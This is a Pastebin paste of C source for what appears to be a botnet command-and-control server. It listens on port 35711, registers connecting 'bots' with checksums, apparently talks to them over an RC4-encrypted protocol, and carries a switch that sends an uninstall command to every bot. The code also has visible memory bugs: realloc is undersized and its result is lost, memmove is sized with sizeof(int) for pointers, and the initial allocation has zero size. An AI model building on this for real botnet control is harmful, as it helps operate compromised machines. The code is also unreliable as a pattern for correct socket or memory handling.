Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //
- // main.c
- // Bot client
- //
- // Created by Nino Floris on 9/18/13.
- // Copyright (c) 2013 Nino Floris. All rights reserved.
- //
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <stdarg.h>
- #include <stdbool.h>
- #include <netinet/in.h>
- #include <sys/socket.h>
- #include <arpa/inet.h>
- #include "sockconn.h"
- #include "arcfour.h"
- #include "utils.h"
- #include "server.h"
- #define BUFSIZE 1024 //luckily there are no packets larger than this, it at least spares me of creating a recv packet buffering loop.
- #define PORTNO 35711 // the port users will be connecting to
- #define BACKLOG 10 // how many pending connections queue will hold
- #define UNINSTALL 1 //1 to send an uninstall command to all bots
- //error wrapper for perror
- void error(char *msg) {
- perror(msg);
- exit(0);
- }
- void delbotinfoandshift(struct botinfo **array, size_t arraysize, const int sockfd);
- bool fillandallocbotinfo(struct botinfo **array, size_t arraysize, const size_t connections, const int sockfd);
- struct botinfo *getbotinfo(struct botinfo **array, size_t arraysize, const int sockfd);
- int main(int argc, char **argv) {
- int ret = 0, sockfd = 0, fd = 0, connections = 0, arrsize = 0, recvsize = 0;
- struct botinfo **arrbotinfo;
- fd_set active_fd_set, read_fd_set;
- byte pbuf[BUFSIZE];
- arrbotinfo = malloc(connections * sizeof(struct botinfo *));
- //create the socket and start to accept connections.
- sockfd = tcpserverconn(INADDR_ANY,PORTNO);
- if (listen(sockfd, 1) < 0) {
- perror("ERROR listening on socket");
- exit(1);
- }
- //initialize the set of active sockets.
- FD_ZERO(&active_fd_set);
- FD_SET(sockfd, &active_fd_set); //add the listener to the active set.
- do {
- //block until input arrives on the active sockets.
- read_fd_set = active_fd_set;
- if (select(FD_SETSIZE, &read_fd_set, NULL, NULL, NULL) < 0) {
- perror("ERROR selecting socket");
- }
- //handle all the sockets with pending input.
- for (fd = 0; fd < FD_SETSIZE; ++fd)
- if (FD_ISSET (fd, &read_fd_set)) {
- if (fd == sockfd) {
- struct sockaddr_in clientname;
- memset(&clientname, 0, sizeof(clientname));
- int newfd = acceptconn(sockfd, &clientname);
- if (newfd == -1) {
- continue;
- }
- connections++;
- FD_SET(newfd, &active_fd_set);
- //creating extra space for new botinfo and filling that info, if true the array has been realloced and increased by 1.
- if (fillandallocbotinfo(arrbotinfo, arrsize, connections, newfd))
- arrsize++;
- char ch[CHECKSUMBYTES*2+1];
- bytetohex(ch, CHECKSUMBYTES*2+1, (*arrbotinfo[connections-1]).checksum, CHECKSUMBYTES);
- printf("Client connected to %s:%d on socket %d.\n", iptostr(clientname.sin_addr.s_addr), clientname.sin_port,newfd);
- printf("Checksum for socket %d is %s\n",newfd, ch);
- }
- else {
- //read data from a connected socket.
- memset(pbuf, 0, BUFSIZE);
- recvsize = saferecv(fd, pbuf, BUFSIZE,0);
- if (recvsize < 0) {
- close(fd);
- FD_CLR(fd, &active_fd_set);
- connections--;
- delbotinfoandshift(arrbotinfo, arrsize, fd);
- }
- else if (recvsize > 0 && recvsize < 2) {
- fprintf(stderr, "ERROR message received from server was too small to get the required data.\n");
- close(fd);
- FD_CLR(fd, &active_fd_set);
- connections--;
- delbotinfoandshift(arrbotinfo, arrsize, fd);
- }
- else {
- protocol_command_t convret = doconversation(fd, pbuf, BUFSIZE, recvsize, getbotinfo(arrbotinfo, arrsize, fd));
- if(convret == -1) {
- close(fd);
- FD_CLR(fd, &active_fd_set);
- connections--;
- delbotinfoandshift(arrbotinfo, arrsize, fd);
- }
- else if (convret == B_DONE) {
- close(fd);
- FD_CLR(fd, &active_fd_set);
- connections--;
- delbotinfoandshift(arrbotinfo, arrsize, fd);
- fprintf(stderr,"Server succesfully ended conversation with client on socket %d",fd);
- }
- }
- }
- }
- } while (1);
- return ret;
- }
- struct botinfo *getbotinfo(struct botinfo **array, size_t arraysize, const int sockfd) {
- int i;
- for (i = 0; i < arraysize; i++) {
- if(array[i]->sockfd == sockfd)
- return array[i];
- }
- return NULL;
- }
- bool fillandallocbotinfo(struct botinfo **array, const size_t arraysize, const size_t connections, const int sockfd) {
- bool ret = false;
- if(arraysize < connections){
- array = realloc(array, connections);
- ret = true;
- }
- struct botinfo *binfo = malloc(sizeof(struct botinfo));
- memset(binfo, 0, sizeof(struct botinfo));
- array[connections-1] = binfo;
- binfo->sockfd = sockfd;
- memcpy(&binfo->checksum, createchecksum(), CHECKSUMBYTES); //need to copy because of the static array of createchecksum.
- binfo->uninstall = UNINSTALL;
- return ret;
- }
- void delbotinfoandshift(struct botinfo **array, const size_t arraysize, const int sockfd) {
- int i = 0;
- for (i = 0; i < arraysize; i++) {
- if(array[i]->sockfd == sockfd)
- break;
- }
- memmove(array + i, array + i + 1, (arraysize - i - 1) * sizeof(int));
- }
Advertisement
Add Comment
Please, Sign In to add comment